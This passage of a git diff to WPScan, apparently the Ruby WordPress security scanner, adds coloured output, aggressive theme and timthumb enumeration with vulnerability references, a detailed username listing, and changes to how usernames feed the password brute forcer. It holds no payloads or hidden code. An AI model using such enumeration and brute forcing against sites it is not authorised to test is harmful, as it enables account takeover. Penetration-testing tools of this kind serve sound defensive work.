+          puts " | " + red("[!] #{vulnerability.title}")
+          puts " | " + red("* Reference: #{vulnerability.reference}")
 
           # This has been commented out as MSF are moving from
           # XML-RPC to MessagePack.
@@ -214,7 +241,7 @@ begin
         end
 
         if plugin.error_log?
-          puts " | [!] A WordPress error_log file has been found : " + plugin.error_log_url
+          puts " | " + red("[!]") + " A WordPress error_log file has been found : #{plugin.error_log_url}"
         end
       end
     else
@@ -223,23 +250,77 @@ begin
     end
   end
 
-  if wpscan_options.enumerate_timthumbs
+  # Enumerate installed themes
+  if wpscan_options.enumerate_themes or wpscan_options.enumerate_only_vulnerable_themes
     puts
-    puts "[+] Enumerating timthumb files ..."
+    puts green("[+]") + " Enumerating installed themes #{'(only vulnerable ones)' if wpscan_options.enumerate_only_vulnerable_themes} ..."
     puts
 
-    if wp_target.has_timthumbs?(:theme_name => wp_theme ? wp_theme.name : nil, :show_progress_bar => true)
+    options = {}
+    options[:base_url]              = wp_target.uri
+    options[:only_vulnerable_ones]  = wpscan_options.enumerate_only_vulnerable_themes || false
+    options[:show_progress_bar]     = true
+    options[:wp_content_dir]        = wp_target.wp_content_dir
+    options[:error_404_hash]        = wp_target.error_404_hash
+
+    themes = wp_target.themes_from_aggressive_detection(options)
+    unless themes.empty?
+      puts
+      puts
+      puts green("[+]") + " We found #{themes.size.to_s} themes:"
+
+      themes.each do |theme|
+        puts
+        puts " | Name: #{theme}" #this will also output the version number if detected
+        puts " | Location: #{theme.get_url_without_filename}"
+        puts " | Directory listing enabled: Yes" if theme.directory_listing?
+        puts " | Readme: #{theme.readme_url}" if theme.has_readme?
+        puts " | Changelog: #{theme.changelog_url}" if theme.has_changelog?
+
+        theme.vulnerabilities.each do |vulnerability|
+          puts " |"
+          puts " | " + red("[!] #{vulnerability.title}")
+          puts " | " + red("* Reference: #{vulnerability.reference}")
+
+          # This has been commented out as MSF are moving from
+          # XML-RPC to MessagePack.
+          # I need to get to grips with the new way of communicating
+          # with MSF and implement new code.
+
+          # check if vuln is exploitable
+          #Exploit.new(url, type, uri, postdata.to_s, use_proxy, proxy_addr, proxy_port)
+        end
+      end
+    else
+      puts
+      puts "No themes found :("
+    end
+  end
+
+  if wpscan_options.enumerate_timthumbs
+    puts
+    puts green("[+]") + " Enumerating timthumb files ..."
+    puts
+
+    options = {}
+    options[:base_url]          = wp_target.uri
+    options[:show_progress_bar] = true
+    options[:wp_content_dir]    = wp_target.wp_content_dir
+    options[:error_404_hash]    = wp_target.error_404_hash
+
+    theme_name = wp_theme ? wp_theme.name : nil
+    if wp_target.has_timthumbs?(theme_name, options)
       timthumbs = wp_target.timthumbs
 
       puts
-      puts "[+] We found " + timthumbs.size.to_s  + " timthumb file/s :"
+      puts green("[+]") + " We found #{timthumbs.size.to_s} timthumb file/s :"
       puts
 
-      timthumbs.each do |file_url|
-        puts " | [!] " +  file_url
+      timthumbs.each do |t|
+        puts " | " + red("[!]") + " #{t.get_full_url.to_s}"
       end
       puts
-      puts " * Reference: http://www.exploit-db.com/exploits/17602/"
+      puts red(" * Reference: http://www.exploit-db.com/exploits/17602/")
     else
       puts
       puts "No timthumb files found :("
@@ -249,7 +330,7 @@ begin
   # If we haven't been supplied a username, enumerate them...
   if !wpscan_options.username and wpscan_options.wordlist or wpscan_options.enumerate_usernames
     puts
-    puts "[+] Enumerating usernames ..."
+    puts green("[+]") + " Enumerating usernames ..."
 
     usernames = wp_target.usernames(:range => wpscan_options.enumerate_usernames_range)
 
@@ -261,17 +342,28 @@ begin
       exit(1)
     else
       puts
-      puts "We found the following " + usernames.length.to_s + " username/s :"
+      puts green("[+]") + " We found the following #{usernames.length.to_s} username/s :"
       puts
 
-      usernames.each {|username| puts "  " + username}
+      max_id_length = usernames.sort { |a, b| a.id.to_s.length <=> b.id.to_s.length }.last.id.to_s.length
+      max_name_length = usernames.sort { |a, b| a.name.length <=> b.name.length }.last.name.length
+      max_nickname_length = usernames.sort { |a, b| a.nickname.length <=> b.nickname.length }.last.nickname.length
+
+      space = 1
+      usernames.each do |u|
+        id_string = "id: #{u.id.to_s.ljust(max_id_length + space)}"
+        name_string = "name: #{u.name.ljust(max_name_length + space)}"
+        nickname_string = "nickname: #{u.nickname.ljust(max_nickname_length + space)}"
+        puts " | #{id_string}| #{name_string}| #{nickname_string}"
+      end
     end
 
   else
-    usernames = [wpscan_options.username]
+    usernames = [WpUser.new(wpscan_options.username, -1, "empty")]
   end
 
   # Start the brute forcer
+  bruteforce = true
   if wpscan_options.wordlist
     if wp_target.has_login_protection?
 
@@ -291,17 +383,20 @@ begin
       puts "Brute forcing aborted"
     else
       puts
-      puts "[+] Starting the password brute forcer"
+      puts green("[+]") + " Starting the password brute forcer"
       puts
       wp_target.brute_force(usernames, wpscan_options.wordlist)
     end
   end
 
+  stop_time = Time.now
   puts
-  puts '[+] Finished at ' + Time.now.asctime
+  puts green("[+] Finished at #{stop_time.asctime}")
+  elapsed = stop_time - start_time
+  puts green("[+] Elapsed time: #{Time.at(elapsed).utc.strftime("%H:%M:%S")}")
   exit() # must exit!
 rescue => e
-  puts "[ERROR] #{e.message}"
-  puts "Trace :"
-  puts e.backtrace.join("\n")
+  puts red("[ERROR] #{e.message}")
+  puts red("Trace :")
+  puts red(e.backtrace.join("\n"))
 end
diff --git a/wpstools.rb b/wpstools.rb
index 7f3d12c0..9e99ee49 100755
--- a/wpstools.rb
+++ b/wpstools.rb
@@ -1,8 +1,8 @@
 #!/usr/bin/env ruby
 
-#
+#--
 # WPScan - WordPress Security Scanner
-# Copyright (C) 2011  Ryan Dewhurst AKA ethicalhack3r
+# Copyright (C) 2012
 #
 # This program is free software: you can redistribute it and/or modify
 # it under the terms of the GNU General Public License as published by
@@ -16,9 +16,7 @@
 #
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
-#
-# ryandewhurst at gmail
-#
+#++
 
 $: << '.'
 require File.dirname(__FILE__) +'/lib/wpstools/wpstools_helper'
@@ -34,50 +32,50 @@ begin
   # A better way to do that should be to create a wpstools_options.rb file like wpscan_options.rb
   # and a wps_options.rb with common options code
   options = GetoptLong.new(
-    ["--help", "-h", GetoptLong::NO_ARGUMENT],
-    ["--verbose", "-v", GetoptLong::NO_ARGUMENT],
-    ["--generate_plugin_list", GetoptLong::OPTIONAL_ARGUMENT],
-    ["--generate_full_plugin_list", GetoptLong::NO_ARGUMENT],
-    ["--generate_theme_list", GetoptLong::OPTIONAL_ARGUMENT],
-    ["--generate_full_theme_list", GetoptLong::NO_ARGUMENT],
-    ["--gpl", GetoptLong::OPTIONAL_ARGUMENT],
-    ["--gfpl", GetoptLong::OPTIONAL_ARGUMENT],
-    ["--gtl", GetoptLong::OPTIONAL_ARGUMENT],
-    ["--gftl", GetoptLong::OPTIONAL_ARGUMENT],
-    ["--update", "-u", GetoptLong::NO_ARGUMENT]
+      ["--help", "-h", GetoptLong::NO_ARGUMENT],
+      ["--verbose", "-v", GetoptLong::NO_ARGUMENT],
+      ["--generate_plugin_list", GetoptLong::OPTIONAL_ARGUMENT],
+      ["--generate_full_plugin_list", GetoptLong::NO_ARGUMENT],
+      ["--generate_theme_list", GetoptLong::OPTIONAL_ARGUMENT],
+      ["--generate_full_theme_list", GetoptLong::NO_ARGUMENT],
+      ["--gpl", GetoptLong::OPTIONAL_ARGUMENT],
+      ["--gfpl", GetoptLong::OPTIONAL_ARGUMENT],
+      ["--gtl", GetoptLong::OPTIONAL_ARGUMENT],
+      ["--gftl", GetoptLong::OPTIONAL_ARGUMENT],
+      ["--update", "-u", GetoptLong::NO_ARGUMENT]
   )
 
   options.each do |option, argument|
     case option
-    when "--help"
-      help()
-      exit
-    when "--verbose"
-      @verbose = true
-    when "--generate_plugin_list", "--gpl"
-      if argument == ''
-        puts "Number of pages not supplied, defaulting to 150 pages ..."
-        @number_of_pages = 150
-      else
-        @number_of_pages = argument.to_i
-      end
+      when "--help"
+        help()
+        exit
+      when "--verbose"
+        @verbose = true
+      when "--generate_plugin_list", "--gpl"
+        if argument == ''
+          puts "Number of pages not supplied, defaulting to 150 pages ..."
+          @number_of_pages = 150
+        else
+          @number_of_pages = argument.to_i
+        end
 
-      @generate_plugin_list = true
-    when "--generate_theme_list", "--gtl"
-      if argument == ''
-        puts "Number of pages not supplied, defaulting to 150 pages ..."
-        @number_of_pages = 150
-      else
-        @number_of_pages = argument.to_i
-      end
-      
-      @generate_theme_list = true
-    when "--update"
-      @update = true
-    when "--generate_full_plugin_list", "--gfpl"
-      @generate_full_plugin_list = true
-    when "--generate_full_theme_list", "--gftl"
-      @generate_full_theme_list = true
+        @generate_plugin_list = true
+      when "--generate_theme_list", "--gtl"
+        if argument == ''
+          puts "Number of pages not supplied, defaulting to 150 pages ..."
+          @number_of_pages = 150
+        else
+          @number_of_pages = argument.to_i
+        end
+
+        @generate_theme_list = true
+      when "--update"
+        @update = true
+      when "--generate_full_plugin_list", "--gfpl"
+        @generate_full_plugin_list = true
+      when "--generate_full_theme_list", "--gftl"
+        @generate_full_theme_list = true
     end
   end
 
@@ -86,19 +84,19 @@ begin
     puts
     Generate_List.new('plugins', @verbose).generate_popular_list(@number_of_pages)
   end
-    
+
   if @generate_full_plugin_list
     puts "[+] Generating new full plugin list"
     puts
     Generate_List.new('plugins', @verbose).generate_full_list
   end
-  
+
   if @generate_theme_list
     puts "[+] Generating new most popular theme list"
     puts
     Generate_List.new('themes', @verbose).generate_popular_list(@number_of_pages)
   end
-  
+
   if @generate_full_theme_list
     puts "[+] Generating new full theme list"
     puts